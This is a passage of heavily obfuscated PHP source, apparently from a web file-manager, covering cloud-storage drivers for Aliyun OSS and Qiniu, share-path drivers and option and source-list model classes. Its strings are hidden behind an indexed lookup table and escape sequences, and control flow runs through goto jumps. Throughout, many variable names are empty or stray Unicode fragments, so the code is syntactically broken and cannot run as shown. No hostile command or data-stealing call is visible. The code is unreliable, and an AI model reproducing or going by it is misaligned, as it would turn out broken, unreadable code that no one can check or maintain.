trafficLimit($ù, $՗ = array()) { $ =& $_SERVER[]; if ($ù == $[1394] && $this->isUploadServer() || $ù == $[110] && $this->isFileOutServer()) { return $՗; } $ = floatval($GLOBALS[$[6]][$[90]][$[108]][$ù]) * 1024 * 1024 * 8; if (!$) { return $՗; } $ = $ < 819200 ? 819200 : ($ > 838860800 ? 838860800 : $); $՗[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($); return $՗; } public function link($ׯ, $ = array()) { $݌ =& $_SERVER[]; if (!$this->exist($ׯ) || $this->isFolder($ׯ)) { return !1; } try { $ = $this->trafficLimit($݌[110], $); $ = $this->client->signUrl($this->bucket, $this->pathEncode($ׯ), 3600 * 12, $݌[225], $); return $this->getCdnLink($); } catch (OSS\Core\OssException $) { return !1; } } public function fileOut($, $҈ˊ = false, $ = false, $ = '') { $ۤ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $҈ˊ, $, $); } if (!$) { $ = $this->pathThis($); } $ = rawurlencode($); $Λ = get_file_mime(get_path_ext($)); if ($Λ == $ۤ[212]) { return parent::fileOut($, $҈ˊ, $, $); } $҈ˊ = $҈ˊ ? $ۤ[1405] : $ۤ[1406]; $ = array(OSS\OssClient::OSS_SUB_RESOURCE => $ۤ[1407] . rawurlencode("{$҈ˊ}\73\x66\x69\154\x65\x6e\141\x6d\145\75{$}")); $[OSS\OssClient::OSS_SUB_RESOURCE] .= $ۤ[1408] . rawurlencode($Λ); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($, $ݤ = false, $ = false, $݂ = '') { parent::fileOut($, $ݤ, $, $݂); } public function fileOutImage($史, $؁ˆ = 250) { $’ڮ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[][1409] . $؁ˆ); $ˊ = $this->link($史, $’ڮ); $this->fileOutLink($ˊ); } public function fileOutImageServer($ީ, $ɹԋ = 250) { parent::fileOutImage($ީ, $ɹԋ); } public function fileOutLink($) { $ =& $_SERVER[]; if (!$this->isCdnHost() && substr($, 0, 7) == $[1310]) { $ = $[1311] . substr($, 7); } header($[158] . $); die; } public function hashMd5($ս, $ϫ = '') { $ەگ =& $_SERVER[]; $ʾ = $this->_objectMeta($ս); if (!$ʾ) { return $ەگ[12]; } if (!isset($ʾ[$ەگ[1384]]) && !empty($ϫ)) { $ = $this->updateObjMeta($ս, array($ەگ[1384] => $ϫ)); $ʾ[$ەگ[1384]] = $ ? $ϫ : $ەگ[12]; } return isset($ʾ[$ەگ[1384]]) ? strtolower($ʾ[$ەگ[1384]]) : $ەگ[12]; } public function size($ط) { $ = $this->objectMeta($ط); return $ ? $[$_SERVER[][80]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($׼) { return !$this->isFolder($׼) && $this->objectMeta($׼); } public function isFolder($) { return $this->cacheMethod($_SERVER[][198], $); } protected function objectMeta($Lj) { return $this->cacheMethod($_SERVER[][199], $Lj); } protected function _objectMeta($𑤢Ф) { $ω =& $_SERVER[]; try { $ċ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($𑤢Ф)); } catch (OSS\Core\OssException $) { $ċ = !1; } if ($ċ) { $ċ[$ω[80]] = intval($ċ[$ω[1382]]); } return $ċ; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } $ޔ = array($[1378] => $[8], $[1379] => rtrim($, $[8]) . $[8], $[1380] => 1, $[1381] => $[12]); $ѧ = $this->client->listObjects($this->bucket, $ޔ); if ($ѧ->getObjectList() || $ѧ->getPrefixList()) { return !0; } return !1; } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $config = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public function __construct($И) { parent::__construct(); require_once SDK_DIR . $_SERVER[][1410]; $this->_init($И); } public function _init($֥֗) { $ =& $_SERVER[]; foreach ($֥֗ as $Œ => $) { if (isset($this->{$Œ})) { $this->{$Œ} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1411] . LNG($[1369])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->config = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->config); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($, $敭 = '', $Ԣݶ = REPEAT_RENAME) { if ($this->setContent($, $敭)) { return $this->getPathOuter($); } return !1; } public function mkdir($Ȭ, $ҕ = REPEAT_SKIP) { $هƛ =& $_SERVER[]; $ = trim($Ȭ, $هƛ[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $Ȭ = $ . $هƛ[8]; $dz = get_path_this($); $ = $Ȭ . $dz; if (!$this->mkfile($)) { return !1; } if (!$this->moveFile($, $Ȭ)) { $this->delFile($); return !1; } return $this->getPathOuter($); } public function copyFile($, $·) { $ = $this->bucketManager->copy($this->bucket, $, $this->bucket, $·, !0); return $ ? !1 : $this->getPathOuter($·); } public function moveFile($Ḛ́, $) { $ӎ = $this->bucketManager->move($this->bucket, $Ḛ́, $this->bucket, $, !0); return $ӎ ? !1 : $this->getPathOuter($); } public function delFile($ğ) { if (!$this->exist($ğ)) { return !0; } $Ҝ = $this->bucketManager->delete($this->bucket, $ğ); return $Ҝ ? !1 : !0; } public function delFolder($㻮) { $ =& $_SERVER[]; if (!$this->exist($㻮)) { return !0; } $this->listItemCache = !1; $މ = $this->fileList($㻮); $this->listItemCache = !0; $ = trim($㻮, $[8]) . $[8]; if (!empty($㻮) && $㻮 !== $[190] && !in_array($, $މ[$[77]])) { $މ[$[77]][] = $; } $ĩ = $this->delByBatch($މ[$[76]]); if (!$ĩ) { return !1; } $ĩ = $this->delByBatch($މ[$[77]]); if (!$ĩ) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $􌔁) { $ = $this->bucketManager->buildBatchDelete($this->bucket, $􌔁); list($, $У) = $this->bucketManager->batch($); if ($У) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } public function fileInfo($, $ = false, $ = array()) { $ǭ =& $_SERVER[]; $󦼨 = array($ǭ[32] => $this->pathThis($), $ǭ[78] => $this->getPathOuter($ǭ[8] . $), $ǭ[33] => $ǭ[192], $ǭ[80] => isset($[$ǭ[1412]]) ? $[$ǭ[1412]] : 0, $ǭ[167] => $this->ext($)); if ($) { return $󦼨; } $󦼨[$ǭ[193]] = $󦼨[$ǭ[86]] = 0; $󦼨[$ǭ[194]] = $󦼨[$ǭ[195]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $󦼨; } } if (isset($[$ǭ[1413]])) { $󦼨[$ǭ[86]] = substr($[$ǭ[1413]] . $ǭ[12], 0, 10); } if (isset($[$ǭ[1412]])) { $󦼨[$ǭ[80]] = $[$ǭ[1412]]; } return $󦼨; } public function folderInfo($ˆ, $ = false) { $ݪ =& $_SERVER[]; $Ϯ = array($ݪ[32] => $this->pathThis($ˆ), $ݪ[78] => $this->getPathOuter($ݪ[8] . $ˆ), $ݪ[33] => $ݪ[79]); if ($) { return $Ϯ; } $Ϯ[$ݪ[193]] = $Ϯ[$ݪ[86]] = 0; $Ϯ[$ݪ[194]] = $Ϯ[$ݪ[195]] = !0; $ˆ = rtrim($ˆ, $ݪ[8]) . $ݪ[8]; $ = $this->objectMeta($ˆ); if (isset($[$ݪ[1413]])) { $Ϯ[$ݪ[86]] = substr($[$ݪ[1413]] . $ݪ[12], 0, 10); } return $Ϯ; } public function listPath($, $Ӽ = false) { $Ǧ =& $_SERVER[]; $ = $this->fileList($, $Ǧ[8], !0); foreach ($[$Ǧ[77]] as $ʳ => $) { $[$Ǧ[77]][$ʳ] = $this->folderInfo($, $Ӽ); } foreach ($[$Ǧ[76]] as $ʳ => $) { $[$Ǧ[76]][$ʳ] = $this->fileInfo($[$Ǧ[95]], $Ӽ, $); } return $; } public function has($, $¹ = false, $ޅ = true) { $ɾ =& $_SERVER[]; $ = trim($, $ɾ[8]); $ھݾ = empty($) && $ !== $ɾ[190] ? $ɾ[12] : $ . $ɾ[8]; $Ҫ = $ɾ[12]; $ = 500; $㺝 = $ɾ[8]; $ߓ = $ = 0; while (!0) { check_abort(); list($˚, $) = $this->bucketManager->listFiles($this->bucket, $ھݾ, $Ҫ, $, $㺝); if ($) { break; } $Ҫ = array_key_exists($ɾ[1381], $˚) ? $Ҫ = $˚[$ɾ[1414]] : $ɾ[12]; if ($¹) { if (!empty($˚[$ɾ[1415]])) { $ߓ += count($˚[$ɾ[1415]]); } if (!empty($˚[$ɾ[1416]])) { $ += count($˚[$ɾ[1416]]); } if ($Ҫ === $ɾ[12]) { break; } continue; } if ($ޅ) { if (!empty($˚[$ɾ[1415]])) { return !0; } } else { if (!empty($˚[$ɾ[1416]])) { return !0; } } if ($Ҫ === $ɾ[12]) { break; } } if ($¹) { return array($ɾ[202] => $ߓ, $ɾ[203] => $); } return !1; } public function listAll($) { $ٚƴ =& $_SERVER[]; $ަ = $this->fileList($, $ٚƴ[12], !0); $ɝա = array(); foreach ($ަ[$ٚƴ[76]] as $) { $ɝա[$[$ٚƴ[95]]] = $[$ٚƴ[80]]; } foreach ($ަ[$ٚƴ[77]] as $) { if (is_string($)) { $ɝա[$] = 0; } } return $this->listAllFiles($, array_keys($ɝա), $ɝա); } private function fileList($糂, $Ȼ = '', $䭡 = 0) { $ =& $_SERVER[]; $糂 = trim($糂, $[8]); $ݠ = empty($糂) && $糂 !== $[190] ? $[12] : $糂 . $[8]; $ص = $[12]; $ = 1000; $ = $this->listItemCache === !1 ? !1 : !0; $ = $ԙд = array(); while (!0) { check_abort(); list($α, $͖) = $this->bucketManager->listFiles($this->bucket, $ݠ, $ص, $, $Ȼ); if ($͖) { break; } $ص = array_key_exists($[1381], $α) ? $ص = $α[$[1414]] : $[12]; $޶ = isset($α[$[1415]]) ? $α[$[1415]] : array(); $ = isset($α[$[1416]]) ? $α[$[1416]] : array(); foreach ($޶ as $) { if ($[$[95]] == $ݠ) { continue; } $û = $[$[95]]; $ = $[$[1412]]; $[$[80]] = $; $𜒕 = $ == 0 && substr($û, strlen($û) - 1, 1) == $[8] ? !0 : !1; if ($) { $this->cacheMethod($[198], $û, $𜒕); $this->cacheMethod($[199], $û, $); } if ($𜒕) { $[] = $û; continue; } $ԙд[] = $䭡 ? $ : $û; } foreach ($ as $û) { if ($û == $ݠ) { continue; } $[] = $û; if ($) { $this->cacheMethod($[198], $û, !0); } } if ($ص === $[12]) { break; } } if ($) { $this->cacheMethod($[198], $糂, !0); } return array($[77] => $, $[76] => $ԙд); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($턮) { return $this->fileSubstr($턮, 0, -1); } public function setContent($ʗ, $ = '') { $ݠ = $this->tempFile($this->pathThis($ʗ)); file_put_contents($ݠ, $); if ($this->upload($ʗ, $ݠ)) { $this->tempFileRemve($ݠ); return !0; } return !1; } public function refreshUrls($) { $ץ =& $_SERVER[]; $֟ = array(); if (is_array($)) { foreach ($ as $) { $֟[] = $this->link($); } } else { $֟[] = $this->link($); } $ = new Qiniu\Cdn\CdnManager($this->auth); list($, $Ȕ) = $->refreshUrls($֟); if ($Ȕ) { return !1; } return $[$ץ[1168]] == $ץ[753] ? !0 : !1; } public function fileSubstr($, $М, $ܥ) { $ =& $_SERVER[]; if (!($ۙ = $this->link($))) { return !1; } $ = !1; if ($ܥ > 0) { $ = $М + $ܥ - 1; $ = array($[1417] . $М . $[460] . $); } $լ׉ = url_request($ۙ, $[225], !1, $); return $լ׉[$[743]] ? $լ׉[$[1178]] : !1; } public function upload($, $, $Χ = false, $‡μ = REPEAT_REPLACE) { $ = new Qiniu\Storage\UploadManager(); $ǚ = $this->auth->uploadToken($this->bucket, $); $ = get_file_mime(get_path_ext($)); list($, $Ж) = $->putFile($ǚ, $, $, null, $); return $Ж ? !1 : $this->getPathOuter($); } public function uploadFormData($, $ = 3600) { return $this->uploadToken($, $); } public function multiUploadFormData($׏, $ڿ = 3600) { return $this->uploadToken($׏, $ڿ); } private function uploadToken($ϔ, $߲؀ = 3600) { $ =& $_SERVER[]; $Ց = $߲؀; $Ȳ = array($[1418] => $[1419]); $襖Ɍ = $ϔ; $ = $this->auth->uploadToken($this->bucket, $襖Ɍ, $Ց, $Ȳ, !0); $ = empty($this->region) || $this->region == $[1420] ? $[12] : $[460] . $this->region; $ = http_type() . "\x3a\57\x2f\165\160\x6c\157\x61\x64{$}\56\161\x69\156\x69\x75\x70\x2e\143\157\x6d\x2f"; return array($[1421] => $, $[1422] => $); } public function download($, $꽨) { $ = IO::getPathInner(IO::mkfile($꽨)); if (!($ = $this->link($))) { return !1; } $Εɹ = 0; $ = 1024 * 200; $ߤ = fopen($, $_SERVER[][1423]); while (!0) { $ = $this->fileSubstr($, $Εɹ, $); if ($ === !1) { return !1; } fwrite($ߤ, $); $Εɹ += $; if (strlen($) < $) { break; } } fclose($ߤ); return $꽨; } public function link($ק, $ӌ = '') { if (!$this->isFile($ק)) { return !1; } $㾈 = $this->getHost() . $_SERVER[][8] . $this->pathEncode($ק) . $ӌ; return $this->auth->privateDownloadUrl($㾈, 3600 * 12); } public function fileOut($ڗ, $ = false, $ݭ = false, $Ҥ = '') { $ğ윦 =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($ڗ, $, $ݭ, $Ҥ); } if (!$ݭ) { $ݭ = $this->pathThis($ڗ); } $śĴΓ = $ ? $ğ윦[1424] . rawurlencode($ݭ) : $ğ윦[12]; $޲ = $this->link($ڗ, $śĴΓ); $this->fileOutLink($޲); } public function fileOutServer($Ä, $Ѻ = false, $ = false, $Յ = '') { parent::fileOut($Ä, $Ѻ, $, $Յ); } public function fileOutImage($, $Ȗ = 250) { $ȵ = $this->link($, $_SERVER[][1425] . $Ȗ); $this->fileOutLink($ȵ); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($Ɩ) { $Ѕ =& $_SERVER[]; $ܖ = $this->objectMeta($Ɩ); return isset($ܖ[$Ѕ[207]]) ? $ܖ[$Ѕ[207]] : !1; $ԣ = $this->link($Ɩ, $Ѕ[1426]); } public function size($) { $ʺ = $this->objectMeta($); return $ʺ ? $ʺ[$_SERVER[][80]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($β˜) { return $this->isFile($β˜) || $this->isFolder($β˜); } public function isFile($ʏ) { return !$this->isFolder($ʏ) && $this->objectMeta($ʏ); } public function isFolder($) { return $this->cacheMethod($_SERVER[][198], $); } protected function objectMeta($ӫ) { return $this->cacheMethod($_SERVER[][199], $ӫ); } protected function _objectMeta($) { $ȹ =& $_SERVER[]; list($, $Э) = $this->bucketManager->stat($this->bucket, $); if ($) { $[$ȹ[80]] = intval($[$ȹ[1412]]); } return $; } protected function _isFolder($ᴼ) { $ =& $_SERVER[]; if ($ᴼ == $[12] || $ᴼ == $[8]) { return !0; } list($Ϗ, $) = $this->bucketManager->listFiles($this->bucket, trim($ᴼ, $[8]) . $[8], $[12], 1, $[8]); return !empty($Ϗ[$[1415]]) || !empty($Ϗ[$[1416]]) ? !0 : !1; } } goto d; C: class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($޳, $䆂) { $ꬷ =& $_SERVER[]; if (method_exists($this, $޳)) { return; } $̤̾ = call_user_func_array(array($ꬷ[1322], $޳), $䆂); $ = array($ꬷ[1323], $ꬷ[1324], $ꬷ[1325], $ꬷ[1326], $ꬷ[549], $ꬷ[551], $ꬷ[1327], $ꬷ[108], $ꬷ[1328], $ꬷ[1329]); if (in_array($޳, $)) { $̤̾ = $this->getPathOuter($̤̾); } return $̤̾; } public function copy($ͦ, $ґ, $ = false, $ˋȔ = false) { return $this->copyMove($ͦ, $ґ, $, $_SERVER[][549], $ˋȔ); } public function move($, $ಏ, $ = false, $ = false) { return $this->copyMove($, $ಏ, $, $_SERVER[][551], $); } private function copyMove($ʨ, $ĕ, $, $Ӵ, $ٸ = false) { $Ҡ̐ =& $_SERVER[]; $ = $ĕ; $ = IO::driverMake($ĕ); if ($->pathParse[$Ҡ̐[1138]]) { $ĕ = $->pathParse[$Ҡ̐[1138]]; } else { $ĕ = $; } $ = IO::copyMove($ʨ, $ĕ, $, $Ӵ, $ٸ); $ = $this->getPathOuter($); return $; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[][78]]); } public function pathFather($Þ) { return get_path_father($this->pathParse[$_SERVER[][78]]); } public function iconvSystem($Ħꔠ) { return $Ħꔠ; } protected function infoParse($Ɂ, $ = false) { $Ь =& $_SERVER[]; $ = $this->pathParse[$Ь[486]][$Ь[1161]] . $this->pathParse[$Ь[1154]]; if ($) { $뢽 = IO::infoWithChildren($); } else { $뢽 = IO::info($); } $ڈ = $this->pathParse[$Ь[486]]; return Action($Ь[1320])->_shareItemeParse($뢽, $ڈ); } public function listAll($؎) { $ԭ =& $_SERVER[]; $ӡ = IO::listAll($؎); $Ȅ = $this->pathParse[$ԭ[486]]; foreach ($ӡ as &$) { check_abort(); $ = IO::info($[$ԭ[78]]); $ = is_array($) ? $ : array(); $ = array_merge($, $); $[$ԭ[87]] = Action($ԭ[1320])->_shareItemeParse($, $Ȅ); } unset($); return $ӡ; } public function getPathOuter($) { $㚴ϙ =& $_SERVER[]; $ = KodIO::parse($); if ($[$㚴ϙ[33]] == KodIO::KOD_SHARE_ITEM) { return $[$㚴ϙ[78]]; } $ = KodIO::clear($); $𲈀 = KodIO::clear($this->pathParse[$㚴ϙ[486]][$㚴ϙ[1161]]); $Ƙ = substr($, strlen($𲈀)); if (substr($, 0, strlen($𲈀)) != $𲈀) { return !1; } return $this->pathParse[$㚴ϙ[1155]] . $㚴ϙ[8] . ltrim($Ƙ, $㚴ϙ[8]); } public function getType() { $ =& $_SERVER[]; $Ě = str_replace($[74], $[12], get_class($this)); return strtolower($Ě); } public function isTypeObject($꠹”) { return IO::isTypeObject($꠹”); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($â) { return $this->infoParse($â); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($֟) { $this->pathParse = $֟; } protected function infoParse($ک, $҄ = false) { $Ӎ =& $_SERVER[]; return Action($Ӎ[1160])->sharePathInfo($this->pathParse[$Ӎ[78]], !0, $҄); } public function listPath($Սٸ, $؃ = false) { $ =& $_SERVER[]; $۪ = IO::listPath($Սٸ, $؃); if (!$۪) { return $۪; } if (is_array($۪[$[1321]])) { $ٽ = Action($[1330])->parsePathChildren($۪[$[1321]], array($[422] => $Սٸ)); $۪[$[1321]] = Action($[1160])->shareItemInfo($ٽ); } foreach ($۪ as $ => $ˢմ) { if (!in_array($, array($[76], $[77]))) { continue; } foreach ($ˢմ as $ => $ٽ) { $ٽ = Action($[1330])->parsePathChildren($ٽ, array($[422] => $Սٸ)); $۪[$][$] = Action($[1160])->shareItemInfo($ٽ); } } return $۪; } public function listAll($޷) { $ =& $_SERVER[]; $͓ = IO::listAll($޷); foreach ($͓ as &$񴷧) { $ݖ = IO::info($񴷧[$[78]]); $ݖ = is_array($ݖ) ? $ݖ : array(); $񴷧 = array_merge($ݖ, $񴷧); $񴷧[$[87]] = Action($[1160])->shareItemInfo($񴷧); } unset($񴷧); return $͓; } } class PathDriverEDS extends PathDriverMinIO { public function __construct($) { parent::__construct($); } } goto bٲ; B: class ModelBaseLight { public $optionType = ''; public $modelType = "\123\x79\x73\164\x65\155\117\160\x74\151\x6f\156"; public $field = array(); public function listData($Գ = false, $ = "\x6d\x6f\x64\x69\x66\171\x54\151\x6d\145", $ = false) { $ = Model($this->modelType)->get(!1, $this->optionType, !0); $ю˟ = array_values($); if ($ю˟ && $ю˟[0] && !is_array($ю˟[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$) { return $Գ ? null : array(); } if (!$Գ) { $ = array_filter(array_values($)); return array_sort_by($, $, $); } return $[$_SERVER[][398] . $Գ]; } public function insert($φ) { $ =& $_SERVER[]; $φ = array_field_key($φ, $this->field); $ڸ = Model($this->modelType)->get($[399], $this->optionType . $[400]); $ڸ = $ڸ ? $ڸ : 0; $φ[$[401]] = ++$ڸ; $φ[$[193]] = time(); $φ[$[86]] = time(); Model($this->modelType)->set($[399], $ڸ, $this->optionType . $[400]); Model($this->modelType)->set($[398] . $ڸ, $φ, $this->optionType); return $ڸ; } public function update($, $) { $ =& $_SERVER[]; $ = array_field_key($, $this->field); $¸ = $this->listData($); if (!$¸ || !$) { return !1; } $ = array_merge($¸, $); $[$[86]] = time(); return Model($this->modelType)->set($[398] . $, $, $this->optionType); } public function remove($) { if (!$) { return !1; } return Model($this->modelType)->remove($_SERVER[][398] . $, $this->optionType); } public function clear() { $؝ =& $_SERVER[]; Model($this->modelType)->remove($؝[399], $this->optionType . $؝[400]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($, $ć) { if (!$ć) { return !1; } $լ = $this->listData(); $լ = array_to_keyvalue($լ, $); return isset($լ[$ć]) ? $լ[$ć] : !1; } public function findByName($Ҝت͍) { return $this->findByKey($_SERVER[][32], $Ҝت͍); } protected function resetData($ߞ) { $隄 =& $_SERVER[]; $ߞ = is_array($ߞ) ? $ߞ : array(); $򭸉 = array(); for ($ˡ = 0; $ˡ < count($ߞ); $ˡ++) { $򭸉[$隄[398] . $ߞ[$ˡ][$隄[401]]] = $ߞ[$ˡ]; } return Model($this->modelType)->set($򭸉, !1, $this->optionType); } private function getAutoName($) { $튵 = array_to_keyvalue($this->listData(), $_SERVER[][32]); if (!$튵 || !isset($튵[$])) { return $; } for ($ӕ = 1; $ӕ < count($튵); $ӕ++) { $ = $ . "\x28{$ӕ}\51"; if (!isset($튵[$])) { return $; } } return $; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($٥ = false, $ȁ = '', $Τ = false) { $ =& $_SERVER[]; $ = $this->cacheGet($ȁ); $;ᆽ = $this->optionDefault($ȁ); $;ᆽ = is_array($;ᆽ) ? $;ᆽ : array(); if (is_array($)) { $ = array_merge($;ᆽ, $); return $٥ ? isset($[$٥]) ? $[$٥] : null : $; } $ = $this->filterWhere(array($[33] => $ȁ)); $ = $this->where($)->select(); $ = array_to_keyvalue($, $[95], $[369]); foreach ($ as $ => $) { if ($Τ || in_array($, $this->jsonField)) { $[$] = json_decode($, !0); } } $this->cacheSet($ȁ, $); $ = array_merge($;ᆽ, $); return $٥ ? $[$٥] : $; } public function set($˰, $ɬ = false, $ = '') { $̭ӥ =& $_SERVER[]; $this->cacheRemove($); $ָΞ = array(); $̆ = is_array($˰) ? $˰ : array($˰ => $ɬ); foreach ($̆ as $֢ => $𮜳) { if (is_array($𮜳)) { $𮜳 = json_encode_force($𮜳); } $this->checkLength($𮜳, !1, $this->tableName . $̭ӥ[4] . $˰); $𮜳 = self::textEncode($𮜳); $̆ = array($̭ӥ[33] => $, $̭ӥ[95] => $֢, $̭ӥ[369] => $𮜳); $ָΞ[] = $this->filterWhere($̆); } if (!$ָΞ) { return !0; } return $this->addAll($ָΞ, array(), !0); } protected function optionDefault($Ŧ = '') { return !1; } public function setDeep($ʮп, $ڛ = false, $ = '') { $У = explode($_SERVER[][10], $ʮп); $ɕŭʐ = $this->get(); array_set_value($ɕŭʐ, $ʮп, $ڛ); $this->set($У[0], $ɕŭʐ[$У[0]], $); } public function remove($, $ = '') { $ =& $_SERVER[]; $this->cacheRemove($); $ٿ = $this->filterWhere(array($[95] => $, $[33] => $)); if (is_null($)) { unset($ٿ[$[95]]); } return $this->where($ٿ)->delete(); } public function cacheSet($, $ = false) { return Cache::set($this->cacheKey($), $); } public function cacheGet($) { return Cache::get($this->cacheKey($)); } public function cacheRemove($Ϩ) { return Cache::remove($this->cacheKey($Ϩ)); } protected function filterWhere($) { return $; } protected function cacheKey($ۈ) { return $ۈ; } } class SourceListModel extends ModelBase { protected $tableName = "\151\157\137\163\157\165\162\x63\145"; protected $tableMeta = array("\x74\141\142\154\x65\116\141\155\x65" => "\x69\x6f\137\163\x6f\165\162\x63\x65\x5f\155\145\x74\x61", "\x6d\145\164\x61\106\x69\145\x6c\x64" => "\163\x6f\165\x72\143\x65\x49\104"); protected $dataAuto = array(array("\x6d\x6f\144\151\x66\x79\124\x69\x6d\x65", "\x74\x69\155\x65", "\x69\156\x73\145\162\x74", "\146\165\x6e\143\164\x69\157\156"), array("\143\162\145\141\164\x65\124\x69\x6d\145", "\164\151\155\145", "\x69\156\x73\x65\x72\x74", "\146\x75\156\143\164\151\x6f\156"), array("\166\x69\145\167\x54\x69\x6d\145", "\164\x69\x6d\145", "\151\156\163\145\162\x74", "\146\165\x6e\x63\164\x69\157\156")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->listSource(array($_SERVER[][402] => $)); } public function typeName($յ) { static $˚ = array(self::TYPE_SYSTEM => "\163\171\163\x74\x65\155", self::TYPE_USER => "\x75\x73\x65\x72", self::TYPE_GROUP => "\147\162\157\x75\x70"); return $˚[$յ . $_SERVER[][12]]; } public function sourceListInfo($婣, $ۜـ = false) { $ּ =& $_SERVER[]; $婣 = $婣 ? $婣 : array(); $婣 = array_filter(array_unique($婣)); if (!$婣) { return array(); } $ēܹ = $this->where(array($ּ[403] => array($ּ[7], $婣)))->select(); $this->_listDataApply($ēܹ, $ۜـ); return array_to_keyvalue($ēܹ, $ּ[403]); } public function pathInfoFilter(&$짽) { $ =& $_SERVER[]; static $ʸ = false; static $ = false; static $ = false; if (!$ʸ) { $ȭ = $[404]; $ȭ .= $[405]; $ȭ .= $[406]; $ڿ˲ = $[407]; $İ = explode($[50], $ڿ˲); $ʸ = explode($[50], $ȭ); $ = array(); foreach ($ʸ as $Յ) { if (in_array($Յ, $İ)) { continue; } $[] = $Յ; } $ = explode($[50], $[408]); } foreach ($ as $۸) { if (isset($짽[$۸])) { $짽[$۸] = intval($짽[$۸]); } } $짽[$[78]] = $[409] . $짽[$[403]] . $[410]; $짽[$[33]] = $짽[$[411]] == 1 ? $[79] : $[192]; $짽[$[412]] = $this->typeName($짽[$[412]]); if ($짽[$[411]] != 1) { $짽[$[167]] = $짽[$[413]]; unset($짽[$[413]]); } $ݜ = $ʸ; if (isset($짽[$[414]]) && $짽[$[414]][$[415]] == -1) { $ݜ = $; } $짽 = array_field_key($짽, $ݜ); return $짽; } public function listUserFav() { $Dz =& $_SERVER[]; $Г = Model($Dz[416])->listData(); $񱯌 = array_filter_by_field($Г, $Dz[33], $Dz[417]); $񱯌 = array_to_keyvalue($񱯌, $Dz[12], $Dz[78]); if ($񱯌) { $ٿҁ = $this->listSource(array($Dz[418] => array($Dz[419], $񱯌))); } $ٿҁ = array_to_keyvalue($ٿҁ[$Dz[364]], $Dz[403]); foreach ($Г as &$Ԇ) { $Ԇ = array($Dz[420] => $Ԇ[$Dz[401]], $Dz[421] => $Ԇ[$Dz[32]], $Dz[422] => $Ԇ[$Dz[78]], $Dz[423] => $Ԇ[$Dz[33]], $Dz[424] => $Ԇ[$Dz[193]], $Dz[425] => $Ԇ[$Dz[86]]); if ($Ԇ[$Dz[33]] == $Dz[417] && $ٿҁ[$Ԇ[$Dz[78]]]) { $Ԇ[$Dz[87]] = $ٿҁ[$Ԇ[$Dz[78]]]; } } unset($Ԇ); return $Г; } public function listUserTag($ע蘱) { $ =& $_SERVER[]; if ($ע蘱 && !is_array($ע蘱)) { $ע蘱 = array($ע蘱); } $ = Model($[426])->listData(); $ = array(); foreach ($ as $) { $څ = $[$[78]]; if (!$څ) { continue; } if (!isset($[$څ])) { $[$څ] = array(); } $[$څ][] = $[$[427]]; } $ = array(); foreach ($ as $ => $Ĭ) { $ = !0; if (!$ע蘱) { $[] = $; continue; } foreach ($ע蘱 as $ᆊ) { if (!in_array($ᆊ, $Ĭ)) { $ = !1; break; } } if ($) { $[] = $; } } if (!$) { return array(); } $ = $this->listSource(array($[418] => array($[419], $))); if (!$ || count($) == $[$[361]][$[362]]) { return $; } $˘ۛ = array(); $欻 = array_to_keyvalue($[$[77]], $[12], $[403]); $ = array_to_keyvalue($[$[76]], $[12], $[403]); $ݠ = array_merge($, $欻); foreach ($ as $څ) { if (!in_array($څ, $ݠ)) { $˘ۛ[] = $څ; } } if ($˘ۛ) { Model($[428])->removeBySource($˘ۛ); } return $; } public function listUserRecycle() { $ =& $_SERVER[]; $ = Model($[429])->listData(); if (!$) { return array(); } $ = array($[418] => array($[419], $), $[430] => 1); return $this->listSource($); } public function listSource($ߨ, $ = 3000) { $Ͱ =& $_SERVER[]; if (!isset($ߨ[$Ͱ[431]])) { $ߨ[$Ͱ[431]] = 0; } $ = $Ͱ[432]; $ = $this->field($)->_makeOrder()->where($ߨ)->selectPage($); $this->_listPageCheck($, $, $ߨ); $this->_listDataApply($[$Ͱ[364]]); $this->_listMake($); return $; } private function _listPageCheck(&$і, $鮼, $) { $Ԍͻ =& $_SERVER[]; if (!is_array($і[$Ԍͻ[361]])) { return; } $٪ = 